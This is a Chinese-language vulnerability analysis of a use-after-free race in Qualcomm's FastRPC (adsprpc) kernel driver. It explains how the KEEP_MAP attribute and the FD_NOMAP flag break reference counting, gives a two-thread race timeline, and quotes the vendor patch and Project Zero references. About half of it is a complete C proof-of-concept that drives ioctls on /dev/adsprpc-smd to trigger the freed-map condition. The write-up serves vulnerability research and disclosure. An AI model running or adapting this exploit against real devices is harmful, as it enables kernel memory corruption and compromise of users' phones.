FASTRPC_ATTR_KEEP_MAP 的逻辑漏洞导致 fastrpc_internal_munmap_fd 在竞态条件下释放仍在使用中的内存映射,导致 UAF。

在 fastrpc_internal_mem_unmap 和 fastrpc_internal_munmap 函数中,一个至关重要的逻辑是它们依赖 fastrpc_mmap_remove 来查找需要删除的内存映射。

ioctl(FASTRPC_IOCTL_MEM_UNMAP)  
	fastrpc_device_ioctl() 
		fastrpc_mmap_device_ioctl()
			fastrpc_internal_mem_unmap()  
				fastrpc_mmap_remove() – 查找并删除映射记录  
				fastrpc_mem_unmap_to_dsp() – 向 DSP 发起卸载请求  
				fastrpc_mmap_free() – 释放映射结构资源


ioctl(FASTRPC_IOCTL_MUNMAP)
	fastrpc_device_ioctl
		fastrpc_mmap_device_ioctl
			fastrpc_internal_munmap
				fastrpc_mmap_remove
				fastrpc_munmap_on_dsp
				fastrpc_mmap_free

函数fastrpc_mmap_remove通过一系列检查试图确保不会释放当前仍被使用的map:

// 调用此函数时需持有文件映射的互斥锁 (fl mapping mutexes)
static int fastrpc_mmap_remove(struct fastrpc_file *fl, int fd, uintptr_t va,
                size_t len, struct fastrpc_mmap **ppmap)
{
    struct fastrpc_mmap *match = NULL, *map;
    struct hlist_node *n;
    struct fastrpc_apps *me = &gfa;
    unsigned long irq_flags = 0;

    ...
    // 遍历全局映射链表 me->maps
    hlist_for_each_entry_safe(map, n, &me->maps, hn) {
	    // 1. 映射的文件描述符 map->fd 是否等于参数 fd
	    // 2. 映射的起始地址 map->raddr 是否与参数 va 相同
	    // 3. 映射的长度 map->len 与参数 len 是否匹配
	    // 4. 仅有 1 个引用(来自映射创建时的初始引用)
	    // 5. 该映射不是用于fastrpc shell的特殊内存
		if ((fd < 0 || map->fd == fd) && map->raddr == va &&
		map->raddr + map->len == va + len &&
		map->refs == 1 &&
		/* Skip unmap if it is fastrpc shell memory */
		!map->is_filemap) {
			match = map;
			hlist_del_init(&map->hn);
			break;
		}
	}
    ...
    // 遍历该文件对应的映射链表 fl->maps
    hlist_for_each_entry_safe(map, n, &fl->maps, hn) {
	    // 1. 映射的文件描述符 map->fd 是否等于参数 fd
	    // 2. 映射的起始地址 map->raddr 是否与参数 va 相同
	    // 3. 映射的长度 map->len 与参数 len 是否匹配
	    // 4. 仅有 1 个引用(来自映射创建时的初始引用)
	    // 5. 没有上下文(context)引用该映射
	    // 6. 该映射不是用于fastrpc shell的特殊内存
        if ((fd < 0 || map->fd == fd) && map->raddr == va &&
            map->raddr + map->len == va + len &&
            map->refs == 1 &&
            /* 仅在无其他引用且无上下文引用时移除 */
            !map->ctx_refs && // 确保没有上下文持有引用(因为上下文创建也可能生成映射)
            /* 跳过属于 fastrpc shell 内存的映射 */
            !map->is_filemap) {
            match = map;
            hlist_del_init(&map->hn);
            break;
        }
    }
    if (match) {
        *ppmap = match;
        return 0;
    }
    return -ETOOMANYREFS;
}

该函数在遍历本地映射list时,试图确保:

  • map->refs == 1
    • 该映射对象只有一个引用(即没有其他地方持有此映射)。如果引用计数不为1,说明仍有其他地方在使用该映射,不应删除。
  • !map->ctx_refs
    • 意味着没有上下文(context)引用该映射。也就是说,没有某个RPC调用或上下文正在用这个映射传递参数,如果存在上下文引用就不应删除。
  • !map->is_filemap
    • 该映射不是用于fastrpc shell的特殊内存。如果它是shell映射,这部分内存不应被解除映射。
      而遍历全局映射list时,试图确保满足上述第1和3个条件。

总结来说,fastrpc_mmap_remove函数执行期间,不能有任何并发操作会让其他地方在map->refs==1的情况下临时持有这个map。然而,前面的 CVE-2024-33060 恰好打破了这一假设:

  1. 线程 A: fastrpc_internal_mmap → 分配map → 插入全局链表 → (尚未完成,继续map的其他操作) -- map的refs为1
  2. 线程 B: fastrpc_internal_munmap 查找到这个 map,开始释放 → 释放完成 -- 调用remove函数找到这个map,此时map的refs为1,同时线程A还持有这个map
  3. 线程 A 继续操作 map 时,就会访问到已被释放或复用的内存。

1 漏洞

换句话来说这个假设:在释放一个map的时候,必须保证本地引用计数refs==1和上下文引用计数ctx_refs==0,这种情况下去释放才是正确的。这个漏洞就是在另外一条路径上打破了这个假设。

fastrpc_mmap_remove函数里的假设已经被 CVE-2024-33060 打破了,那别的map释放路径呢?

至少还存在另外两种不依赖 fastrpc_mmap_remove 及其保护逻辑的map释放路径。其中之一是 fastrpc_internal_munmap_fd
该函数通过 fastrpc_mmap_find 查找映射,若找到,且其包含 FASTRPC_ATTR_KEEP_MAP 标志,则调用 fastrpc_mmap_free 释放该映射,并清除标志位(确保无法重复调用)。

/*
 * fastrpc_internal_munmap_fd 仅适用于通过持久化属性(persist)映射的缓冲区。
 * 对同一持久化缓冲区,此函数只能调用一次。
 */
int fastrpc_internal_munmap_fd(struct fastrpc_file *fl,
                                struct fastrpc_ioctl_munmap_fd *ud)
{
    int err = 0;
    struct fastrpc_mmap *map = NULL;
    ...
    mutex_lock(&fl->internal_map_mutex);
    mutex_lock(&fl->map_mutex);
    // 1. 查找映射
    err = fastrpc_mmap_find(fl, ud->fd, NULL, ud->va, ud->len, 0, 0, &map);
    if (err) {
        ...
        mutex_unlock(&fl->map_mutex);
        goto bail;
    }
    // 2. 如果找到,且其包含 FASTRPC_ATTR_KEEP_MAP 标志
    if (map && (map->attr & FASTRPC_ATTR_KEEP_MAP)) {
        map->attr = map->attr & (~FASTRPC_ATTR_KEEP_MAP); //清除标志位
        fastrpc_mmap_free(map, 0); //释放映射
    }
    mutex_unlock(&fl->map_mutex);
bail:
    mutex_unlock(&fl->internal_map_mutex);
    return err;
}

然而,在 fastrpc_mmap_create 函数中存在一段与引用计数相关的特殊逻辑。可以观察到:

  • 只有走else分支,map->refs 才会增加到2。
  • 无论 mflags 的值如何,用户均可设置 FASTRPC_ATTR_KEEP_MAP 标志

这意味着可以创建一个带有 FASTRPC_ATTR_KEEP_MAP 标志但 map->refs == 1 的映射。这种情况下,fastrpc_internal_munmap_fd能够发现该映射并调用fastrpc_mmap_free释放。

static int fastrpc_mmap_create(...)
{
    ...
    map = kzalloc(sizeof(*map), GFP_KERNEL);
    ...
    map->refs = 1; //初始引用为1
    map->attr = attr;
    ...
    if (mflags == ADSP_MMAP_HEAP_ADDR || mflags == ADSP_MMAP_REMOTE_HEAP_ADDR) {
        ...
    } else if (mflags == FASTRPC_MAP_FD_NOMAP) {
        ...
    } else {
        if (map->attr && (map->attr & FASTRPC_ATTR_KEEP_MAP)) {
            ADSPRPC_INFO("buffer mapped with persist attr 0x%x\n",
                    (unsigned int)map->attr);
            map->refs = 2; //若设置了 KEEP_MAP 标志,引用计数增至2
        }
        ...
    }
    ...
    fastrpc_mmap_add(map); //将映射添加到链表
    *ppmap = map;
    ...
}

但此时仍无法保证释放的假设,如fastrpc_mmap_remove 中的( refs == 1 且 ctx_refs == 0)未被破坏。这种矛盾可能引发严重问题,例如当某个上下文通过 get_args 函数获取对 FASTRPC_ATTR_KEEP_MAP 映射的引用时(ctx_refs>0):

static int get_args(uint32_t kernel, struct smq_invoke_ctx *ctx)
{
    remote_arg64_t *rpra, *lrpra;
    remote_arg_t *lpra = ctx->lpra;
    ...
    int mflags = 0;
    ...
    for (i = 0; i < bufs; ++i) {
        uintptr_t buf = (uintptr_t)lpra[i].buf.pv;
        size_t len = lpra[i].buf.len;

        mutex_lock(&ctx->fl->map_mutex);
        if (ctx->fds && (ctx->fds[i] != -1))
            // 可能获取对现有映射的引用(若已存在)
            err = fastrpc_mmap_create(ctx->fl, ctx->fds[i], NULL,
                            ctx->attrs[i], buf, len,
                            mflags, &ctx->maps[i]);
        if (ctx->maps[i])
            ctx->maps[i]->ctx_refs++; // 增加上下文引用计数
        mutex_unlock(&ctx->fl->map_mutex);
        ...
    }
}

此时,map->ctx_refs 大于零,但这无法阻止 fastrpc_internal_munmap_fd 调用 fastrpc_mmap_free 释放map。具体来看 fastrpc_mmap_free 的实现:

static void fastrpc_mmap_free(struct fastrpc_mmap *map, uint32_t flags)
{
    ...
    if (map->flags == ADSP_MMAP_HEAP_ADDR ||
                            map->flags == ADSP_MMAP_REMOTE_HEAP_ADDR) {
        ...
    } else {
        map->refs--; // 减少引用计数
        // 仅当 refs=0 且 ctx_refs=0 时从链表中移除映射
        if (!map->refs && !map->ctx_refs)
            hlist_del_init(&map->hn);
        // 仅在 refs > 0 且 flags=0 时避免释放映射 —— ctx_refs 不影响释放决策!
        if (map->refs > 0 && !flags)
            return;
    }
    ...
bail:
    if (!map->is_persistent)
        kfree(map); // 在此处释放映射内存!
}

因此,若存在以下场景:某个 fastrpc 上下文(context)持有唯一引用的 FASTRPC_MAP_FD_NOMAP 映射(且设置了 FASTRPC_ATTR_KEEP_MAP 属性),则可能触发 UAF

虽然通过 fastrpc_internal_mem_map 可以构造这种flag与attr的组合,但如何让上下文成为映射的唯一引用者并不直观。通常,ctx持有map唯一引用的场景仅出现在“ctx创建与初始化直接触发map创建”时,但在此默认路径中,无法指定必要的flag与attr组合以构造漏洞场景。因此,我们需要以下步骤:

  1. **通过 fastrpc_internal_mem_map 创建map;
  2. 让某个ctx获取该map的引用
  3. 以某种方式丢弃map创建时的初始引用

由于 fastrpc_internal_mem_unmap 受 fastrpc_mmap_remove 的保护无法实现此操作,但可以通过竞态条件利用 fastrpc_internal_mem_map 的异常退出路径达成目标:

int fastrpc_internal_mem_map(struct fastrpc_file *fl,
                                struct fastrpc_ioctl_mem_map *ud)
{
    int err = 0;
    struct fastrpc_mmap *map = NULL;

    mutex_lock(&fl->internal_map_mutex);
    ...
    mutex_lock(&fl->map_mutex);
    // 在此处创建映射(初始引用为1)
    VERIFY(err, !(err = fastrpc_mmap_create(fl, ud->m.fd, NULL, ud->m.attrs,
                    ud->m.vaddrin, ud->m.length,
                     ud->m.flags, &map)));
    mutex_unlock(&fl->map_mutex);
    ...
    // 让某个上下文在此处获取映射引用
    // 尝试将映射注册到 DSP(若失败则触发异常退出)
    VERIFY(err, !(err = fastrpc_mem_map_to_dsp(fl, ud->m.fd, ud->m.offset,
            ud->m.flags, map->va, map->phys, map->size, &map->raddr)));
    if (err)
            goto bail; // 异常退出
    ud->m.vaddrout = map->raddr;
bail:
    if (err) {
            ...
            if (map) {
                    mutex_lock(&fl->map_mutex);
                    // 释放映射(减少引用计数,若其他上下文持有引用则保留)
                    fastrpc_mmap_free(map, 0);
                    mutex_unlock(&fl->map_mutex);
            }
    }
    mutex_unlock(&fl->internal_map_mutex);
    return err;
}

假设存在两个并发进程 A 和 B,执行以下操作序列:

[A]: Completely fills the dsp address space with valid mappings using fastrpc_internal_mem_map

[A]: Creates a FASTRPC_MAP_FD_NOMAP map with attribute FASTRPC_ATTR_KEEP_MAP using fastrpc_internal_mem_map and enters into fastrpc_mem_map_to_dsp (holding internal_map_mutex, dropped map_mutex)

map->refs == 1, map->ctx_refs == 0

[B]: Invokes a call using FASTRPC_IOCTL_INVOKE2 and creates a context, get_args grabs the map mutex, finds and grabs a reference to map, drops the map mutex (not holding any mutexes)

map->refs == 2, map->ctx_refs == 1

[A]: fastrpc_mem_map_to_dsp fails as the dsp address space is completely full, fastrpc_internal_mem_map bails out and calls fastrpc_mmap_free, dropping the internal_map_mutex (not holding any mutexes)

map->refs == 1, map->ctx_refs == 1

[A]: Calls fastrpc_internal_munmap_fd grabs internal_map_mutex, and map_mutex, finds map with fastrpc_mmap_find, and calls fastrpc_mmap_free because the FASTRPC_ATTR_KEEP_MAP attribute is set

map->refs == 0, map->ctx_refs == 1, mapping is kfree'd

At the end of this sequence, an existing context still holds a reference to the freed map.

                         线程A                                                                  线程B
                           
fastrpc_internal_mem_map() 填满DSP 地址空间
fastrpc_internal_mem_map() 
    // 用户态传入attr : FASTRPC_ATTR_KEEP_MAP
    // 用户态传入flags:FASTRPC_MAP_FD_NOMAP
    mutex_lock(&fl->internal_map_mutex);
    mutex_lock(&fl->map_mutex);
    fastrpc_mmap_create
        map->refs = 1;
        else if (mflags == FASTRPC_MAP_FD_NOMAP){…}
    mutex_unlock(&fl->map_mutex);// 此时 map->refs == 1,map->ctx_refs == 0
    fastrpc_mem_map_to_dsp(){ 

                                                                          ioctl FASTRPC_IOCTL_INVOKE2 ……
                                                                              fastrpc_internal_invoke
                                                                                  get_args
                                                                                      mutex_lock(&ctx->fl->map_mutex);
                                                                                      fastrpc_mmap_create() // 获取对现有映射的引用
                                                                                          fastrpc_mmap_find()
                                                                                              map->refs++;
                                                                                      ctx->maps[i]->ctx_refs++;
                                                                                      mutex_unlock(&ctx->fl->map_mutex);
                                                                                      // 此时 map->refs == 2, map->ctx_refs == 1
    } // 因为DSP地址空间满了,失败,goto bail;
    fastrpc_mmap_free(map, 0); 
        map->refs—; // 此时 map->refs == 1, map->ctx_refs == 1
    mutex_unlock(&fl->internal_map_mutex);
fastrpc_internal_munmap_fd
    mutex_lock(&fl->internal_map_mutex);
    mutex_lock(&fl->map_mutex);
    fastrpc_mmap_find()
    if (map && (map->attr & FASTRPC_ATTR_KEEP_MAP)) {
        map->attr = map->attr & (~FASTRPC_ATTR_KEEP_MAP);
        fastrpc_mmap_free(map, 0); 
            map->refs—; // 此时 map->refs == 0, map->ctx_refs == 1
            kfree(map); // 释放map
    }

PoC

#include "adsprpc_shared.h"
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/wait.h>
#include <linux/dma-heap.h>
#include <sys/mman.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>

#define FASTRPC_MODE_UNSIGNED_MODULE 8
#define FASTRPC_STATIC_HANDLE_PROCESS_GROUP (1)
#define FASTRPC_STATIC_HANDLE_DSP_UTILITIES (2)
#define FASTRPC_STATIC_HANDLE_LISTENER (3)
#define FASTRPC_STATIC_HANDLE_CURRENT_PROCESS (4)
int dma_heap;
int adsprpc_fd;
int create_and_init_adsprpc()
{
    int adsprpc_fd = open("/dev/adsprpc-smd",O_RDONLY);
    if(adsprpc_fd == -1) {
        printf("open: %m\n");
        return -1;
    }
    unsigned cid = 3;
    long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_GETINFO,&cid);
    int shell_fd = open("/data/local/tmp/fastrpc_shell_unsigned_3",O_RDONLY);
    if(shell_fd == -1) {
        printf("open shell: %m\n");
        return -1;
    }
    dma_heap = open("/dev/dma_heap/system",O_RDONLY);
    if(dma_heap == -1) {
        printf("open dma_heap: %m\n");
        return -1;
    }
    struct dma_heap_allocation_data heap_data = {
        .len = 0x131000,
        .fd_flags = O_RDWR,
    };
    ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
    if( ret < 0 || heap_data.fd < 0)
    {
        printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
        return -1;
    }
    void* shell_file_dma = mmap(NULL,0x131000,PROT_READ | PROT_WRITE, MAP_SHARED,heap_data.fd,0);
    long length = read(shell_fd,shell_file_dma,0x131000);
    if(length <= 0) {
        printf("read: %d %m\n",ret);
        return -1;
    }
    close(shell_fd);
    struct fastrpc_ioctl_init_attrs init = {
        .init = {
            .file = shell_file_dma,
            .filefd = heap_data.fd,
            .filelen = length,
            .mem = 0,
            .flags = FASTRPC_INIT_CREATE,
        },
        .attrs = FASTRPC_MODE_UNSIGNED_MODULE
    };
    ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INIT_ATTRS,&init);
    if(ret < 0)
    {
        printf("init_attrs: %d %m\n",ret);
        return -1;
    }
    return adsprpc_fd;
}
pthread_barrier_t* barrier;
pthread_t tid_inv,tid_int;
unsigned long* value_loc;
struct dma_heap_allocation_data heap_data = {
    .len = 0x10000,
    .fd_flags = O_RDWR,
};
void handler(int signo, siginfo_t *info, void* context) {
    return;
}
sig_atomic_t jobid = 0;
long submit_job() {
    unsigned value = 255;
    unsigned out_values[256] = {0};
    struct fastrpc_ioctl_invoke_async ioctl_arg;
    remote_arg_t ra[2];
    ra[0].buf.pv = (void *)&value;
    ra[0].buf.len = sizeof(value);
    ra[1].buf.pv = (void *)(&out_values[1]);
    ra[1].buf.len = value * sizeof(uint32_t);
    ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
    ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
    ioctl_arg.inv.pra = ra;
    ioctl_arg.fds = NULL;
    ioctl_arg.attrs = NULL;
    ioctl_arg.crc = NULL;
    ioctl_arg.perf_kernel = NULL;
    ioctl_arg.perf_dsp = NULL;
    ioctl_arg.job = NULL;
    ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
    ioctl_arg.job->isasyncjob = 1;
    ioctl_arg.job->jobid = jobid++;
    struct fastrpc_ioctl_invoke2 inv;
    inv.invparam = &ioctl_arg;
    inv.req = FASTRPC_INVOKE2_ASYNC;
    inv.size = sizeof(struct fastrpc_ioctl_invoke_async);

    long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
    printf("submit job ret: %lx %m\n",ret);
    return ret;
}
void* thread_inv(void* arg) {
    while(1) {
    //Need to replace value with & new map on other thread
        unsigned value = 255;
        unsigned out_values[256] = {0};
        long ret;
        //Not using submit_job() to increase race precision
        struct fastrpc_ioctl_invoke_async ioctl_arg;
        remote_arg_t ra[2];
        ra[0].buf.pv = (void *)0;
        ra[0].buf.len = sizeof(value);
        ra[1].buf.pv = (void *)(&out_values[1]);
        ra[1].buf.len = value * sizeof(uint32_t);
        ioctl_arg.inv.handle = FASTRPC_STATIC_HANDLE_CURRENT_PROCESS;
        ioctl_arg.inv.sc = REMOTE_SCALARS_MAKE(0, 1, 1);
        ioctl_arg.inv.pra = ra;
        ioctl_arg.fds = calloc(REMOTE_SCALARS_LENGTH(ioctl_arg.inv.sc),sizeof(int));
        ioctl_arg.fds[0] = heap_data.fd;
        ioctl_arg.fds[1] = -1;
        ioctl_arg.attrs = NULL;
        ioctl_arg.crc = NULL;
        ioctl_arg.perf_kernel = NULL;
        ioctl_arg.perf_dsp = NULL;
        ioctl_arg.job = malloc(sizeof(*ioctl_arg.job));
        ioctl_arg.job->isasyncjob = 1;
        ioctl_arg.job->jobid = jobid++;
        struct fastrpc_ioctl_invoke2 inv;
        inv.invparam = &ioctl_arg;
        inv.req = FASTRPC_INVOKE2_ASYNC;
        inv.size = sizeof(struct fastrpc_ioctl_invoke_async);
        close(heap_data.fd);
        pthread_barrier_wait(barrier);
        ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_INVOKE2,&inv);
        printf("job submit: %ld %m\n",ret);
        fflush(stdout);
        if(!ret) {
            *((unsigned*) &barrier[1]) = 1;
            pthread_barrier_wait(barrier);
            exit(0);
        }
        pthread_barrier_wait(barrier);

    }

    
    return NULL;
}

int main() {
    adsprpc_fd = create_and_init_adsprpc();
    if(adsprpc_fd == -1) {
        printf("failed to open adsprpc...\n");
        return 1;
    }
    barrier = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_SHARED | MAP_ANONYMOUS,0,0);
    pthread_barrierattr_t attr;
    pthread_barrierattr_init(&attr);
    pthread_barrierattr_setpshared(&attr,PTHREAD_PROCESS_SHARED);
    pthread_barrier_init(barrier,&attr,2);
    //pthread_create(&tid_int,NULL,&thread_interrupt,NULL);

    int ret = ioctl(dma_heap,DMA_HEAP_IOCTL_ALLOC,&heap_data);
    if( ret < 0 || heap_data.fd < 0)
    {
        printf("dma heap allocation fail: %d %d %m\n",ret,heap_data.fd);
        return -1;
    }

    // for(unsigned i = 0; i < 1022; i++) {
    //     if(submit_job() < 0) {
    //         printf("failed to submit a job at i = %u\n",i);
    //         exit(0);
    //     }
    // }
    printf("mapping...\n");
    fflush(stdout);
    value_loc = mmap(NULL,0x2000,PROT_READ | PROT_WRITE,MAP_PRIVATE,heap_data.fd,0);
    pid_t pid;
    if(!(pid = fork())) {
        thread_inv(NULL);
        exit(0);
    }
    // pthread_create(&tid_inv,NULL,&thread_inv,NULL);

    unsigned long spoof_map = 0x2000;
    uint64_t vaddrouts[1024];
    unsigned top = 0;
    do {
        struct fastrpc_ioctl_mem_map mmap_struct = {
                .m = {
                    .flags = 0,
                    .fd = heap_data.fd,
                    .length = 0x2000,
                    .attrs = 0,
                    .vaddrin = spoof_map,
                    .vaddrout = 0,
                    .offset = 0,
                }
        };
        spoof_map += 0x2000;
        unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
        printf("mem_map loop: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
        vaddrouts[top] = mmap_struct.m.vaddrout;
    } while (vaddrouts[top++]);
    // struct fastrpc_ioctl_mem_map mmap_struct = {
    //         .m = {
    //             .flags = 0,
    //             .fd = heap_data.fd,
    //             .length = 0x1000,
    //             .attrs = 0,
    //             .vaddrin = value_loc,
    //             .offset = 0,
    //         }
    // };
    //     //pthread_barrier_wait(&barrier);
    // unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
    // printf("mem_map1: %lx 0x%lx\n",ioret,mmap_struct.m.vaddrout);
    // struct fastrpc_ioctl_mem_unmap unmap_struct = {
    //     .um = {
    //         .fd = heap_data.fd,
    //         .length = 0x1000,
    //         .vaddr = mmap_struct.m.vaddrout
    //     }
    // };
    // ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
    // printf("mem_unmap1: %lx\n",ioret);
    unsigned first = true;
    while(1) {
        struct fastrpc_ioctl_mem_map mmap_struct = {
            .m = {
                .flags = FASTRPC_MAP_FD_NOMAP,
                .fd = heap_data.fd,
                .length = 0x1000,
                .attrs = FASTRPC_ATTR_KEEP_MAP,
                .vaddrin = value_loc,
                .offset = -1,
            }
        };
        pthread_barrier_wait(barrier);
        unsigned long ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_MAP,&mmap_struct);
        printf("mem_map2: %lx\n",ret);
        fflush(stdout);
        struct fastrpc_ioctl_munmap_fd final_munmap = {
            .fd = heap_data.fd,
            .flags = 0,
            .len = 0x1000,
            .va = 0
        };
        unsigned long final_ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MUNMAP_FD,&final_munmap);
        printf("munmap fd: %lx %m\n",final_ret);
        pthread_barrier_wait(barrier);
        if(*(unsigned*)&barrier[1]) {
            break;
        }
        if(first && fgetc(stdin) == 'n') {
            kill(pid,SIGKILL);
            exit(0);
        }
        first = false;
    }
    // pthread_join(tid_int,NULL);
    // pthread_join(tid_inv,NULL);
    

    // for(unsigned i = 0; i < top; i++)
    // {
    //     struct fastrpc_ioctl_mem_unmap unmap_struct = {
    //         .um = {
    //             .fd = heap_data.fd,
    //             .length = 0x2000,
    //             .vaddr = vaddrouts[i],
    //         }
    //     };
    //     unsigned long ioret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MEM_UNMAP,&unmap_struct);
    //     if(ioret)
    //         printf("unexpected unmap fail %lx %m\n",ioret);
    // }
    // while(1) sleep(1);
    return 0;
    // struct fastrpc_ioctl_mmap mmap_struct2 = {
    //     .fd = -1,
    //     .flags = ADSP_MMAP_HEAP_ADDR,
    //     .vaddrin = 0,
    //     .size = 0x1000
    // };
    // ret = ioctl(adsprpc_fd,FASTRPC_IOCTL_MMAP,&mmap_struct2);
    // if(ret < 0)
    // {
    //     printf("ret mmap: %lx %m\n",ret);
    // }
    // printf("vaddrout: %lx %m\n",mmap_struct2.vaddrout);

}

Patch

dsp-kernel: Add attribute and flag checks during map creation

A persistence map is expected to hold refs=2 during its creation.
However, the Fuzzy test can create a persistence map by configuring
a mismatch between attributes and flags using the KEEP MAP attribute
and FD NOMAP flags. This sets the map reference count to 1. The user
then calls fastrpc_internal_munmap_fd to free the map since it
doesn't check flags, which can cause a use-after-free (UAF) for the
file map and shared buffer. Add a check to restrict DMA handle
maps with invalid attributes.

参考文献

  • https://googleprojectzero.blogspot.com/2024/12/qualcomm-dsp-driver-unexpectedly-excavating-exploit.html
  • https://project-zero.issues.chromium.org/issues/42451725
  • https://git.codelinaro.org/clo/la/kernel/msm-5.10/-/commit/dff7593179b189f0ea55f0ad6ff2a153ffacf5b9